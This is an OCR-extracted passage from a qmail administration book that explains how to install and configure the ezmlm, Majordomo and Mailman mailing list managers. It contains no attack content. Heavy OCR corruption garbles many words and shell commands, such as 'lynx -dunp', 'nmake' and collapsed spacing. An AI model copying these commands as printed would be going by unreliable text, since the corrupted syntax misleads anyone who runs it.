bounce messages. ezmim is unique among MLMsin that it doesn't process commands sent to acentrd MLM
address: It appends the command to the name of the list as an extension. For example, to subscribe to the
foo@list.example.net list, one sends a message to foo-subscribe@list.example.net.

The current version of ezmlm, 0.53, includesthe following features:

Message redigtribution resends list messages to subscriber list using gmail.

Message archiving and retrieval (Single message per request).

List subscription and unsubscription viae-mail to extension addresses.

Automatic bounce handling subscribers are warned about bouncing mail before being removed from thelist.

User-created lists system administrator or mail administrator isn't required to set up new ligts.

Hashed list storage for quick updatesto largelists.

User-customi zable administrative messages.

Moderated listsonly thelist owner can post to thelist aswell as unmoderated lists.

Reliable list updates and submissions are committed to disk before successis reported.


http://cr.yp.to/ezmlm.html
http://cr.yp.to/ezmlm.html

Secure subscription/unsubscription requests are cryptographically secure to prevent forged requests.

ezmlm-idx isan add-on for ezmim that adds many useful festures.
Under standing ezmim-idx

Fred Lindberg and Fred B. Ringd created ezmim-idx (http:/mww.ezmim.org/), a package that patches and adds to
the basic ezmim distribution. Some of the mgjor featuresit addsinclude:

Multimessage, threaded archiveretrieva grab awhole discussion with asingle request.

Digests multiple list messages grouped into one message before being sent to subscribers.

Remote adminigtration.

Message moderation list owner can approve al postingsto thelist.

Subscription moderation list owner can approve al subscription requests.

Subscriber-only regtrictions alow only subscribersto post to thelist.

Message trailers gppend list info to messages sent to the list.

Subject prefixesidentify thelist in the Subject field of messages sent to thelist.

Multilanguage and Multimedia Internet Mail Extenson (MIME) support.

Support for storing listsin Structured Query Language (SQL.) databases.


http://www.ezmlm.org/
http://www.ezmlm.org/

| nstalling ezmlm

Y ou can ingdl ezmlm on any system running gmail. The only prerequisite isthe devel opment environment necessary
for building C programs.

1.

Download ezmim and, optionally, ezmim+-idx, using your Web browser or acommand-line utility. For
exanple

$ lynx -dunp http://cr.yp.to/software/ezm m0.53.tar.gz > ezmMi m0.53.tar. gz
$ lynx -dunmp http://ww. ezm m or g/ pub/ patches/ ezm midx-0.40.tar.gz > eznm mi dx-
0.40.tar.gz
$

Unpack the archives:

$ zcat ezmim0.53.tar.gz | tar xf -
$ zcat ezm midx-0.40.tar.gz | tar xf -
$

(ezmim-idx only) Mergethe ezmlimidx fileswith the ezmim files:

$ nv ezm midx-0.40/* ezm m 0. 53/

(ezmim+-idx only) Apply the ezmim+-idx patches:

$ cd ezm m 0. 53
$ patch < idx. patch
patching file “ezm mwarn. 1'
patching file "ezmMi mreturn. 1
patching file “eznml msend. 1'
patching file “ezm m sub. 1'
patching file “ezm munsub. 1'
patching file "ezmM mlist. 1
patching file "ezmi m &'
patching file “log.c'
patching file "MAN
patching file "BIN
patching file " VERSI ON
patching file ~Makefile'
patching file "constmap.c'
patching file "constmap. h'
patching file “error.h
patching file “error.c'
patching file “eznl mweed. c'


http://cr.yp.to/software/ezmlm-0.53.tar.gz 
http://www.ezmlm.org/pub/patches/ezmlm-idx-0.40.tar.gz 

patching file “ezm mweed. 1'
$

Note
If the patch command falls try inddling
the current version of the GNU patch,
avalablefrom
http: //www.gnu.or g/softwar e/patch/p
atch.html.

(ezmlm-idx only) If your crontab command isn't in /usr/bin, edit conf-cron to contain the correct directory:

$ type crontab
crontab is /usr/bin/crontab
$

(ezmlm-idx only) Configure SQL support, if desired:

For MySQL, edit sub_mysqgl/conf-sglcc (include files) and mysgl/conf-sglld (libraries) to reflect your MySQL
ingtalation (see the MySQL documentation). Thefilesare preset for Red Hat Linux for Intel. On some systems, the
-Ind should be removed from conf-sglld. Do make mysgl.

For PostgreSQL,, edit sub_pgsgl/conf-sglcc (include files) and pgsgl/conf-sglld (libraries) to reflect your
PostgresSQL ingtallation (see the PostgreSQL documentation). Do make pgsgl.

7.

Build the programs and man pages:

$cd ezmdimO0.53 # if you're not already there

$ nmake clean # ezmmidx only, or ignore error
rm-f “cat TARGETS
$ nmake; make man

many |ines of output ending with sonething like...
nroff -man ezm mstore.1 > ezmM mstore. 0
nroff -man ezm mrequest.1 > ezm mrequest.O
nroff -man ezmnmrc.5 > ezmnrc. 0
nroff -man ezmMimlimt.1 > ezmMmlimt.O
$

(ezmim-idx only) To sdect alanguage other than English for messages, dothis:

$ nake iso
cp -f ezmnrc.iso ezm nrc
$


http://www.gnu.org/software/patch/patch.html
http://www.gnu.org/software/patch/patch.html
http://www.gnu.org/software/patch/p

where iso isone of thefollowing Internationa Standards Organization (1SO) 639 language designations: ¢z, da, de,
en_US fr, jp, pl, pt BR, or sv.

9.

Ingtdl the programs and man pages.

$ su
Password: rootpassword
# make setup
./conpile install.c
install.c: In function "main':
install.c:123: warning: return type of "main' is not “int'
./load install getln.a strerr.a substdio.a stralloc.a \
alloc.a open.a error.a str.a fs.a
.linstall "“head -1 conf-bin"" < BIN
.linstall "“head -1 conf-man " < MAN
#

Testing ezmlm

After ingaling ezmim, create atest list to verify that theingtallation is correct.
1.

Make sure that ezmim-make and gmail-inject arein your path. Createamailing list:

$ PATH=$PATH: / usr/ 1 ocal / bi n/ezml m/var/ qmai | / bi n
$ export PATH
$ ezml mnmake ~/testlist ~/.qmail-testlist ne-testlist domain
$

Replace me and domain with vauesfrom your e-mail address.
2.

Subscribe yoursdlf to the list manudly:

$ ezml msub ~/testlist nme@onain

Send amessageto thelist:

$ gmail -inject <<MSG
to: me-testlist@lonain
subj ect: testing

V V V V

MBG



Y ou should receive acopy of the message at me@domain.
4,

View thelist membership:

$ ezmMmlist ~/testlist
ne@onai n
$

Unsubscribe yoursdf by email:

$ gmail-inject -f me@omain ne-testlist-unsubscribe@omain < /dev/null

When you receive the confirmation request from ezmim, reply to it to complete your unsubscription. Use ezmim-list
to verify thet thelist isempty.

6.

Retrieve the test message from the archive:

$ gmail -inject me-testlist-get. 1@omain < /dev/null

Y ou should receive a copy of your test message.

Using ezmim

The previous testing procedure gave you an example of usng ezmlm. Well look at it alittle more closdy now.
Creating Lists

With ezmlm, lists can be created and owned by regular users, and have names like username-ligname@domain, or
they can be created by the mail administrator and owned by the dias user, and have nameslike listhame@domain.
Let'scal theformer user listsand the latter system lists even though they're functiondly equivadent and differ only in
the user- prefix.

User ezmim ligts are created using ezmlm-make. For example, user bill wantsto crestealist caled bill-isshinryu. His
mail system is caled example.net. He executes the following command:



$ ezml mmake ~/isshinryu ~/.qgmail-isshinryu bill-isshinryu exanple. net
$

This createsadirectory, isshinryu , in his home directory, which contains aset of files and subdirectories.

System ezmim lists are dso created using ezmim-make, except ezmim-makeis run by the mail administrator. For
example, to create asystem list caled isshinryu, the mail administrator executes the following command:

$ ezm mmake /var/qmail/alias/isshinryu /var/qmail/alias/.qgmail-isshinryu\
> i sshinryu exanpl e. net
$

With basic ezmlm, ezmlm-make supportstwo list options: archived/not archived and public/private. The defaults
for these options are archived and public. When archiving is enabled, ezmlm saves a copy of each messageinthe
list's archive subdirectory. When alist is public, ezmim responds to administrative requests via listname-request
extension addresses.

With ezmim+-idx, ezmlm-make supports many additiona options enabling features such as digest sublists, subject
prefixes, message moderation, remote administration, subscription moderation, message trailers, and subscriber-only
posting. The -e option alows ezmim-make to modify an existing list, changing only the specified options. Seethe
ezmim-make man page for complete details.

Creating Listsin Virtual Domains

When creating lists hosted by virtua domains, a couple of adjustments must be made.

For example, say control/virtua domains containsthis:

lists.exanple.combill-lists

and bill wantsto creste an isshinryu@lists.example.com mailing list. Because lists.example.com mail is handled by
dot-gmail files starting with .gmail-lists-, hell tell ezmim-make to use that prefix on the list's dot-gmail files. For
example

$ ezml mmake ~/isshinryu ~/.qgmail-lists-isshinryu isshinryu |lists.exanple.com
$

Thiscreatesthelist files under $HOM E/isshinryu and the dot-files with names starting with .gmail-lists-isshinryu that
are symboalic linksto filesunder the list directory.

Also, theinlocd fileinthelist directory in this case, SHOM E/isshinryuw/inloca will have to be modified to include the



virtual domain manager's username, hill. For example, as ezmim-make created inlocd, it containsthis:

lists-isshinryu

It should be changed to this:

bill-lists-isshinryu

With ezmlm+idx, ligtsin virtua domainswork without any adjustments.

Subscribing and Unsubscribing

There are two basic mechanismsfor updating ezmim mailing lists: commands executed directly on thelist host by the
list owner and commands sent by e-mail to ezmlim from the user.

Using List Owner Commands

Thelist owner commands are ezmim-sub and ezmlm-unsub, and they're passed the target list's directory and the
addresses to be added or removed on the command line:

ezm msub listdir addresses. . .
ez munsub listdir addresses. . .

For example, to add cleteth@example.net and dana@isp.example.com to hisisshinryu list, bill would do this:

$ eznml msub ~/isshinryu cleteth@xanpl e. net el ai na@ sp. exanpl e. com
$

Using ezmlm Command Addresses

The second mechanism for updating listsis viae-mailed commands. Thisis the method people use to subscribe and
unsubscribe themsalves. To request that they be added to or removed from alist, people send messagesto
listname-subscribe@listhost or listhame-unsubscribe@listhost. These requests are ddlivered to ezmlm-manage, which
vaidates them, sends confirmation requests, and processes confirmed requests.

By default, the address that ezmlm-manage acts on is the envelope sender addresswhich is usually the addressin the
From header field. Y ou can specify aternate addresses by encoding them in the command address with this format:

I i st nane- command- nai | box=domai n@ i st host



For example, if a person subscribed to the isshinryu@lists.example.com list using the address
eunice-lig-isshinryu@example.net, her unsubscription request would be addressed to:

i sshi nryu-unsubscri be-eunice-1ist-isshinryu=exanpl e.net@ists.exanple.com

To verify that eunice realy sent the message or at least that the message was sent by someone with accessto her
e-mail ezmlm-manage will send a confirmation request containing a"cooki€e" to the target address,
eunice-ligt-isshinryu@example.net. The cookieis an encrypted token encoded into the return address. For example,
the following address, which istoo long to fit on one line, would confirm the unsubscription of
eunice-lig-isshinryu@example.net:

i sshi nryu-uc. 997816998. gcef chdnl ongfj pkj oai - euni ce-1i st -
i sshi nryu=exanpl e. net @i sts. exanpl e. com

If eunice sends amessage to the confirmation cookie address, ezmim-manage will validate the cookie and remove
her fromthelis.

< Free Open Study >
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Working with Majordomo

Magjordomo isapopular but dated Unix MLM. Unlessyou've dready got Mg or-domo running under another MTA
and you don't want to convert the liststo ezmlm, you probably shouldn't useit. It workswell with gmail, provided a
few smple changes are made. Russ Allbery has written a FAQ about using Magordomo with gmail (
http:/AMww.eyrie.org/~eagleffaggmjgmail.html).

Allbery's FAQ describes severd different waysto instal Mgordomo under gmail, ranging from the smpleto
complex. Let'sfollow one of the more complex methods because it resultsin a system that's more secure and easier
to manage. Mg ordomo under Sendmail requires the use of a setuid() wrapper. The gmail ingtalation in this chapter
doesn't use awrapper.

Maordomo'sfeaturesinclude:

Moderated and unmoderated lists.

List management isdone by e-mail, which meansno loginisrequired for list owners.

Archiving and remote retrieva of messages.

Digeds

Modular design so you use only the features you need.

Written in Perl, which meansit's easily customizable and expandable.

Confirmation of subscriptionsto protect againgt forged subscription requests.

List filters, based on header or body regular expressions.
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|nstalling M aordomo

Mg ordomo requires gmail, of course, and the Perl language. Perl isincluded with most operating systems, but it's
aso available from the Web ( http://mww.cpan.org). To instal Mgordomo, follow these steps:

1.

Download the Mg ordomo tarbal using your Web browser or acommand-line utility. At the time of this
writing, the current verson of Mgordomo is 1.94.5. For example, using the wget utility:

$ wget http://ww. greatcircle.con maj ordono/ 1. 94. 5/ maj ordono-1.94. 5. tar. gz
--07:33:42-- http://ww. greatcircle.conlmjordono/1.94.5/ mjordono-1.94.5.tar. gz
=> " nmj ordono-1.94.5.tar. gz’
Connecting to ww. greatcircle.com80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 312,244 [application/x-tar]

oK -> .. [ 16%
50K -> .. [ 329
100K -> .. [ 49%
150K -> .. [ 65%
200K -> .. [ 81%
250K -> .. .. .. .. [ 98%
300K -> .. ..[100%

07:36:28 (2.02 KB/s) - "mmjordonp-1.94.5.tar.gz' saved [312244/312244]

$

Choose auser ID and group 1D for Magordomo and create them, if necessary. Y ou'll use user majordomo
and group maordomo, so you'll have to create both. User mgordomo's home directory will be the directory
into which Mgordomo will be ingtaled, /usr/loca/mag ordomo, not the Mg ordomo build directory,
Just/local/src/mgordomo-1.94.5. For example, using the Red Hat groupadd and useradd utilities:

$ su -
Password: rootpassword
# groupadd maj or dono
# useradd -g majordono -d /usr/local/nmjordono naj ordono
#

If you're using gmail-users-thefile var/gmail/users/assign exists-and it handles all user accounts, you'll need to run
gmail-pw2u and gmail-newu:

# [var/qgmail/bin/gmail-pw2u < /etc/passwd > /var/qmail/users/assign
# /var/qgmail/bin/ qnai |l - newu
#

Unpack the source tarball:
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# tar xf majordono-1.94.5.tar.gz
# chown -R maj ordonmo maj ordono-1.94.5
# su nmaj or dono
$ cd maj ordonp-1.94.5
$

Edit Makefile. Adjust the settings for the location of Perl, the C compiler, the Mgordomo directory, and the
UID and GID of the mgordomo user and group. Ignore the wrapper settings. For example:

PERL = /usr/bin/perl
W HOVE = /usr/ | ocal / maj or dono
W USER = 514
W CGROUP = 515

5.

Ingtall and edit mgordomo.cf. If you're dready usng Mg ordomo under another MTA, useits mgordomo.cf
asadarting point. Otherwise, use sample.cf. Y ou'll want to make sure that $whereami, $whoami,
$whoami_owner, $homedir, $listdir, and $cookie seed are set appro-priately.

Caution
The $cookie seed setting must be
changed from the default to prevent
trivid forging of confirmation cookies.
Anyone who knows your $cookie seed
can subscribe or unsubscribe third
partieswithout their consent. Just st it
to some string of ten or more random
characters.

Ingtall asmdl patch to make Mg ordomo default to list owner addresses of the form listname-owner, rather
than owner-listname. Because the patch was written for Mgordomo 1.94, one of the "hunks' will fail-thisis
normd. For example:

$ wget ftp://ftp.eyrie.org/pub/software/ maj ordono/ owner. pat ch
--09:43:15-- ftp://ftp.eyrie.org/ pub/software/ mjordono/ owner. pat ch
=> "~ owner. pat ch’

Connecting to ftp.eyrie.org:21. . . connected!
Loggi ng in as anonymous . . . Logged in!
==> TYPE | . . . done. ==> CWD pub/software/ majordono . . . done.
==> PORT . . . done. ==> RETR owner.patch . . . done.
Length: 3,630 (unauthoritative)
oK -> .
[100%

09:43:20 (3.89 KB/s) - “owner.patch' saved [3630]

$ patch < owner. patch

patching file config_parse.pl

Hunk #1 succeeded at 101 with fuzz 1.

Hunk #2 FAILED at 281.

1 out of 2 hunks FAILED - saving rejects to file config parse.pl.rej
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patching file naj ordono

Hunk #1 succeeded at 1815 (offset -55 lines).
patching file maj ordonv. pl

patching file resend

Hunk #1 succeeded at 107 (offset -1 |ines).

$

Because you're not using Mgordomo's wrapper, the MAJORDOMO_CF environment variable that tellsthe
Majordomo programs where to find majordomo.cf won't be set when they're run, so they'll 1ook for it in the
fallback location, /etc/magordomo.cf. Edit the Mg ordomo programs, which are Perl scripts, setting the
falback location to the Mg ordomo directory. This can be done using perl:

$ find . -type f | xargs perl -p -i -e\
> "s|"/etc/majordono. cf"|"/usr/| ocal / maj or dono/ maj or dono. cf"| go; "
$

Ingtal Mgordomo:

$ nake install
cc -DBIN=\"/usr/local /majordomo\" -DPATH=\" PATH=/ bi n:/usr/bin:/usr/ucb\"
- DHOVE=\" HOVE=/usr/| ocal / maj ordomo\ " - DSHELL=\" SHELL=/bin/sh\" -
DMAJORDOMO CF=\" MAJORDOMO CF=/usr/ | ocal / maj or dono/ naj or dono. cf\" -
DPOsSI X_Ul D=514 -DPCSI X_d D=515 -0 wr apper w apper.c
Testing for perl (/usr/bin/perl).
Configuring scripts. .
./linstall.sh -m751 -O 514 -g 515 . /usr/Ilocal / maj ordono
.linstall.sh -m755 -0 514 -g 515 . /usr/| ocal /mj ordono/ bin
Copying tools to /usr/local/majordono/bin
Copyi ng Majordono files to /usr/local/mjordono
Copyi ng archiving and other tools to /usr/local/majordono/ Tool s
./linstall.sh -m 755 -0 514 -g 515 . /usr/local/maj ordono/ Tool s
Usi ng maj or dono. cf
Installing manual pages in /usr/local/majordono/ man

To finish the installation, 'su' to root and type:
nmake install-w apper

If not installing the wapper, type
cd /usr/local/mjordono; ./wapper config

(no 'su' necessary) to verify the installation
$

Set up mgjordomo's .gmail file to invoke the mgordomo program. Put the following in
fusr/local/mgordomo/.gmail:

./incom ng
| ./ maj or dono

Thefirg linelogsacopy of each message sent to mgordomo, which is handy for debugging



subscription/unsubscription problems. The second line, of course, passes the message to majordomo for processing.
10.

Cregtethelists directory:

$ nkdir $HOVE/ i sts

$
11.
Send atest message to magjordomo to verify that Mgordomo isworking. As some user other than
magordomo, do this.
$ echo to: majordono |/var/qgmail/bin/gmil-inject
$

If $whereami in mgjordomo.cf isn't the same as control/defaultdomain, add the domain to the magjordomo addressin
the To fidld. For example:

$ echo to: nmjordono@i sts. exanpl e.com |/var/gmail/bin/qgmail-inject
$

Y ou should receive aresponse that sarts with this:

Ret ur n- Pat h: <Maj or donp- Oaner @xanpl e. con

Del i vered- To: suzanne@xanpl e. com

Recei ved: (gnmmil 8610 invoked by uid 514); 5 Aug 2001 14:42:08 -0000
Date: 5 Aug 2001 14:42:08 -0000

Message- | D. <20010805144208. 8609. gnui | @xanpl e. con>

To: suzanne@xanpl e. com

From Maj or domno@xanpl e. com

Subj ect: Majordonop results

Repl y- To: Maj or dono@xanpl e. com

**** No valid commands found.
**** Commands nust be in nessage BODY, not in HEADER

**** Help for Mj ordonmo@xanpl e. com

This hel p nmessage is being sent to you fromthe Mjordonmo nmailing |ist
managenment system at Maj or dono@xanpl e. com

If you don't get a message like this, you'll have to troubleshoot and fix the problem before moving on to the next step.
12.

Download the mjinject script, which invokes gmail-queue to send messagesto lists and uses VERP for
reliable bounce handling. For example, using wget:



$ cd /usr/local/src/ mjordonp-1.94.5
$ wget ftp://ftp.eyrie.org/ pub/software/ maj ordono/ njinject
--14:05:09-- ftp://ftp.eyrie.org/pub/software/ nmajordono/ njinject
=> "njinject’

Connecting to ftp.eyrie.org:21. . . connected!
Logging in as anonymous . . . Logged in!
==> TYPE | . . . done. ==> CWD pub/software/ majordono . . . done.
==> PORT . . . done. ==> RETR njinject . . . done.
Length: 11,270 (unauthoritative)
OK->. . .. . .. . .. . [100%
14: 05: 17 (5.67 KB/s) - "njinject' saved [11270]
$
13.

Edit mjinject and set $hostname to the same value as $whereami in mgjordomo.cf.
14,

Ingtall mjinject:

$ su root
Password: rootpassword
# cp njinject /usr/local/bin
# chnod 755 /usr/ 1l ocal /bin/njinject
#

15.

Configure Mg ordomo to use mjinject. In mgjordomo.cf, change $mailer to this:

$mailer = "/usr/local/bin/njinject $listdir/$opt_| \$sender”

Mg ordomo isnow instaled and ready for lists.

Creating Listswith Majordomo

Creating lists congsts of two phases. creating thelist files under mgjordomo'slist directory and configuring gmail to
accept mail addressed to the list addresses and ddliver it to the right place.
For example, say the example.com mail administrator wantsto create alist caled hopheads. He would do this:

1.

Create an empty file called hopheads in ~mgordomo/lists, where ~mgor- domo is mgordomao's home
directory. As user mgordomo:
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$ touch ~/1ists/hopheads

Asanother user, send mgjordomo a message containing the command config hopheads:

$ (echo to: mmjordonmo; echo; echo "config hopheads") |/var/qmail/bin/gnail-inject

Y ou should receive aresponse that sartswith this:

From Maj or donmo@xanpl e. com
Subj ect: Majordono results
Repl y- To: Maj or dono@xanpl e. com

>>>> confi g hopheads

**** config: needs password

**** config: invalid password.

**** Help for Maj ordomo@xanpl e. com

Thisisnormd. Theligts directory should now contain afile named hopheads.config.
3.

Edit thelist configuration file, lisss’hopheads.config. Be sureto set the admin_password, approve_password,
description, and other options as desired. Change sender from owner-hopheads to hopheads-owner, and
make surethat strip is set to yes.

The next step isto configure gmail to direct thelit's mail to the right place. Allbery's FAQ showsasmple
way to do this when you have a domain name dedicated to mailing lists, such aslists.example.com. You're
going to use the more general approach that relies on the gmail-users mechanism described in Chapter 3,
"Configuring gmail: TheBascs"

Here again, there are multiple options. Y ou can ether use gmail-usersfor dl users, using gmail-pw2u to convert
letc/passwd to gmail-users format, or you can useit only for addresses configured in /var/gmail/users/assign. Youll
st it up for al users because it's smpler and allows gmail to look up usersfagter. If you want to do it the other way,
just put the necessary entriesin assign and run gmail-newu.

Add alineto /var/gmail/users/subusersfor thelist, creating thefileif it doesn't dready exist, then run gmail-pw2u and
gmail-newu:

# echo hopheads: maj or dono: hopheads: > /var/qmail/users/subusers
# gmail -pw2u < /etc/passwd > /var/qnail/users/assign

# gmai | - newu

#



Set up the .gmail-hopheads filesin ~mgordomo. There will be six filesfor each list, as described in Table 9-1

Table9-1: .gmail Filesfor Mgordomo Lists

FILENAME PURPOSE CONTENTS

gmall-list Sends to subscribers [/ust/local/ma ordomo/resend -| list
list-owner

.gmail-list-approval Approves requests list-owner or address of aternates

.gmail-list-default Cachdl list-owner

.gmail-list-owner Goesto list owner List owner's address, for example:
&dave

.gmal-list-owner-default Recelves bounces list-owner or abounce handling utility

gmal-ligt-request Listscommands [/usr/local/maordomo/ma ordomo -
list

For example, if the hopheadslist is owned by the loca user dave, you could populate the .gmail fileslikethis:

$ cd $HOME

$ echo "|/usr/local/mejordono/resend -1 hopheads hopheads-owner" >\

> . gmai | - hopheads

$ echo "&hopheads-owner" > . qgnuil - hopheads- approva

$ echo "&hopheads-owner" > . qgnuil - hopheads-defaul t

$ echo "&dave" > . gmail-hopheads-owner

$ echo "&hopheads-owner" > .qgmail - hopheads- owner - def aul t

$ echo "|/usr/local/nejordono/ maj ordomo -1 hopheads" > .qnail-hopheads-request
$ echo ./incom ng-hopheads >> . qnuil - hopheads-r equest

$

Thelast line kegps alog of Mgordomo commands sent to hopheads-request. Y ou might want to make ascript to
automate the creation of new ligs.

Subscribing to Majordomo Lists

Usersinteract with Mgordomo viae-mail to mgjordomo@domain or listname-request@domain. Continuing with
the hopheads example, let's subscribe auser to thelist:

1.



As some user other than mgjordomo, mail a"subscribe hopheads' command to mg ordomo:

$ (echo to: mmjordono; echo; echo "subscribe hopheads") | \
> [var/qgmail/bin/gmail-inject
$

Y ou should receive a confirmation request from Mgordomo that sartslikethis:

Soneone (possibly you) has requested that your enmil address be added
to or deleted fromthe mailing Iist "hopheads@xanpl e. coni.

If you really want this action to be taken, please send the follow ng

conmands (exactly as shown) back to "Mj ordono@xanpl e. coni':
aut h 777b50f a subscri be hopheads dave@xanpl e. com

Send a confirmation back to Mg ordomo:

$ (echo to: mmjordonp; echo; \
> echo "auth 777b50f a subscri be hopheads dave@xanple.conm') | \
> [var/qmail/bin/gmail-inject
$

Y ou should receive yet another response from Mg ordomo welcoming you to thelist:

Wel conme to the hopheads nmiling list!

Pl ease save this nessage for future reference. Thank you

If you ever want to renove yourself fromthis nailing |ist,

you can send mail to <Maj ordono@xanpl e.conm> with the follow ng

command in the body of your enamil nessage:

unsubscri be hopheads
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Working with Mailman

Mailman isthe GNU Project's MLM (http:/Aww.ligt.org). It's notable for its Web-based list administration interface.
Mailman iswritten in the Python language and requires Python 1.5.2 or later. Python isfree and available from the
Web (http:/Amww.python.org). Because most list administration is performed using the Web-based interface, you
must also host aWeb server. The Apache Web server is recommended ( http://www.apache.org).

Mailman'sfeaturesinclude:

Web-based list adminigtration for nearly dl tasks, including list configuration, moderation, and management of
subscribers.

Web-based subscribing and unsubscribing and user configuration management. Users can temporarily disable
their subscriptions, select digest modes, and hide their email addresses from other members.

A customizable home page for each mailing lis.

Per-list privacy features, such as closed-subscriptions, private archives, and private membership rogters.

Configurable (per-list and per-user) ddivery modes.

MIME digests.

Plain (RFC 934) digests.

Integrated (non-V ERP) bounce detection within an extensible framework. Automatic disposition of bouncing
addresses (disable, unsubscribe).

Junk mail filtering.
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Automatic Web-based archiving.

Gatewaying with Usenet newsgroups.

Mg ordomo-style e-mail-based commands.

Multiplelist owners and moderators.

Support for virtud domains.

Runs on most Unix-like systems and compatible with most Web servers and browsers.

Extensble mail ddivery pipdine.
Installing Mailman

Onceyou've got gmail and Apache ingtalled, configured, and running and Python 1.5.2 or later instaled, you can
ingall Mailman. Apache and Mailman don't have to be running on the same system, but let's assumethey areinthis
example becauseit's smpler and morerdiable. To ingal Mailman, follow these steps:

1.

Download the Mailman tarbal using your Web browser or acommand-line utility. For example, using the
woet utility:

$ wget http://wwv list.org/mail man.tar. gz
--07:49:38-- http://ww.list.org/mailmn.tar.gz
=> "mai |l man. tar.gz'
Connecting to ww.list.org:80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 411,061 [application/x-gzip]

0K -> . [ 12%
50K -> . [ 24%
100K -> . [ 37%
150K -> . [ 49%
200K -> . [ 62%
250K -> . [ 74%
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300K => o0 oo e e o] 8w

350K -> .. L. L o e e e s e s s e s s 999
400K -> . [ 1009
07:52: 00 (2.85 KB/s) - "mailnman.tar.gz' saved [411061/411061]
$

2.

Asroot, create the mailman user, group, and directory. For example, using the groupadd and useradd
utilities, and selecting /us/local/mailman asthe Malman ingdlation directory, do this

$ su root
Password: rootpassword
# groupadd nmi | man
# useradd -d /usr/local/nmailman -g nmail man mail man
# chnod a+rx, g+ws /usr/local / mail man
#1s -1d ~nmil man
drwxrwsr-x 4 mail man mail man 4096 Aug 8 08:01 /usr/local /mail man
#

If you're usng gmail-usersthe file ivar/gmail/userg/assign exists and it handles dl user accounts, you'll need to run
gmail-pw2u and gmail-newu:

# [var/qgmail/bin/gmail-pw2u < /etc/passwd > /var/qmail/users/assign
# /var/qgmail/bin/ qmai | - newu
#

Unpack the source tarball and change to the source directory:

# gunzip -c mailman.tar.gz | tar xf -
# chown -R mail man nmail nan-2.0.6
# su mail man
$ cd mail man-2.0.6
$

Configure the source code for the build. Check the Apache httpd.conf file for the gppropriate setting for
cgi-gid. For Red Hat 7.1, it's probably apache. Do not use mailman. For example:

$ ./configure --prefix /usr/local/mailman --wth-cgi-gi d=apache \

> --with-mail-gi d=nofiles
| oadi ng cache ./config.cache
checking for wth-python. . . no
checking for python. . . /[usr/bin/python

. nmore output ending with sonmething |ike:
creating scripts/Makefile
creating cron/crontab.in
creating Makefile
$



Build and ingdl the Malman programs

$ nmake install

Creating architecture independent directories.

Creating directory hierarchy /usr/local/nmail man/l ogs
nkdir /usr/local/mail man/l ogs
.lots of output ending with sonething like:
Conpi ling /usr/local/mail man/ Mai | man/ ver si ons. py .

Upgr adi ng from versi on 0x0 to 0x20006f0

no lists == nothing to do,

$

exiting

Check the permissonson theingtaled files and directories:

$ cd ~nmai |l man

$ bi n/ check_perns
directory perm ssions
directory perm ssions
directory perm ssions
directory perm ssions
t

Probl ens found: 4
Re-run as mail nan (or
$

nmust
nmust
nmust
nmust

be
be
be
be

at
at
at
at

| east
| east
| east
| east

02775:
02775:
02775:
02775:

/usr/local / mail man/. kde

/usr/ | ocal / mai | man/ Deskt op
/usr/local / mail man/. kde/ Aut ost art
/usr /| ocal / mai | man/ Deskt op/ Aut ost ar

root) with -f flag to fix

Thesewarnings arefor directories that Mailman doesn't use they were created by the useradd utility. Y ou might see
more warnings, fewer warnings, or none at dl. Y ou can either ignore them or re-run check_permswith the -f option

to correct the permissions. Ignore them.

7.

Asroot, configure Apache to run Mailman's Common Gateway Interface (CGI) scripts and to point to the
list archives. For example, with Apache under Red Hat Linux 7.1, you would add the following to
/etc/httpd/conf/httpd.conf:

ScriptAlias [ mai | man/
Alias /pipermail/ /usr/local/mailman/archives/public/

[usr/ 1 ocal / mail man/ cgi - bi n/

After modifying httpd.conf, restart Apache. For example:

# /etc/init.d/ httpd restart

St oppi ng htt pd:
Starting httpd:
#

R

Ingtal the Mailman imagesin the gppropriate Apache directory. For example:

# cd ~mail man



# cp icons/* ~apache/icons
#

If your Apache image directory isn't accessible as/icons (check your Apache configuration), edit
Just/locd/mailman/Mallman/mm_cfg.py and set IMAGE_L OGOS accordingly.
0.

Set up the Mailman cron jobs:

# crontab -u mail man ~mai |l man/ cron/ crontab.in

10.
Populate mailman's .gmail and .gmail-owner files. The .gmail file should forward to the person responsible for

Mailman or deliver to amailbox that this person will check regularly. The .gmail-owner file should redirect to
mailman. For example, if user kenisresponsblefor Malman:

$ echo "&ken" > ~/.qgmil
$ echo "&mil man" > ~/.qnail - owner
$

11.

Cugtomize Mailman. Examine /ugr/locd/mallman/Malman/Defaults.py. Make changes by overriding the
defaultsin /us/locd/malmanyMalman/mm_cfg.py. At aminimum, add this

MTA _ALI ASES_STYLE = ' qmai | '
12.

Set the Mailman site password. This password works like amaster key: 1t can be used to administer dl
Mailman lists on the host. To set the Site password, do this:

$ ~/ bi n/ msi t epass sonmepassword
Password changed.
$

Mailmanisnow ingtdled, configured, and ready for the creation of mailing lists.
Creating Mailing Listswith Mailman

Creating mailing lissswith Mallman is dso atwo-phase process: creating the various directories and files under the
Mailman directory and setting up the diases for gmail to deliver mail to theright place.



For example, say the example.com mail administrator wantsto create alist caled pop-fans. She would take these
deps

1.

Run Malman's newlist command to create the list. Asmailman, do this;

$ ~/ bin/new i st

Enter the nanme of the list: pop-fans
Enter the email of the person running the list: dave@xanple.com
Initial pop-fans password: sonepassword
To create system al i ases:

echo '|preline /usr/local/mail man/ mail/w apper post pop-fans' >-alias/.qmail -
pop-f ans

echo '|preline /usr/local/mailman/ mail/w apper nail owner pop-fans' >-~alias/.
gmai | - pop-fans-admi n

echo '|preline /usr/local/mailman/ mail/w apper mailcnd pop-fans' >-alias/.
gmai | - pop- f ans-r equest

echo ' &pop-fans-admin' >~alias/.qmail-owner-pop-fans

echo ' &pop-fans-adnmin' >~alias/.qmail -pop-fans-owner

chnod 644 ~alias/.qnail-pop-fans ~alias/.qmil-pop-fans-adnin

chnod 644 ~alias/.qgmail -pop-fans-request ~alias/.qmail-pop-fans-owner

chnod 644 -~alias/.gnmail - owner - pop-fans

Ht enter to continue with pop-fans owner notification. . . [Enter]

$

Asroot, createthe list aliases using the suggested commands:

# echo '|preline /usr/local/mail man/ mail/w apper post pop-fans' \
>~al i as/. gmai | - pop-fans
echo '|preline /usr/local/mil man/ mail/w apper nail owner pop-fans' \
>~al i as/. qmai | - pop-f ans-adm n
echo '|preline /usr/local/milman/ mail/w apper mailcnd pop-fans' \
>~al i as/. qmai | - pop-f ans-request
echo ' &pop-fans-adni n" >-~alias/. qmail - owner - pop- f ans
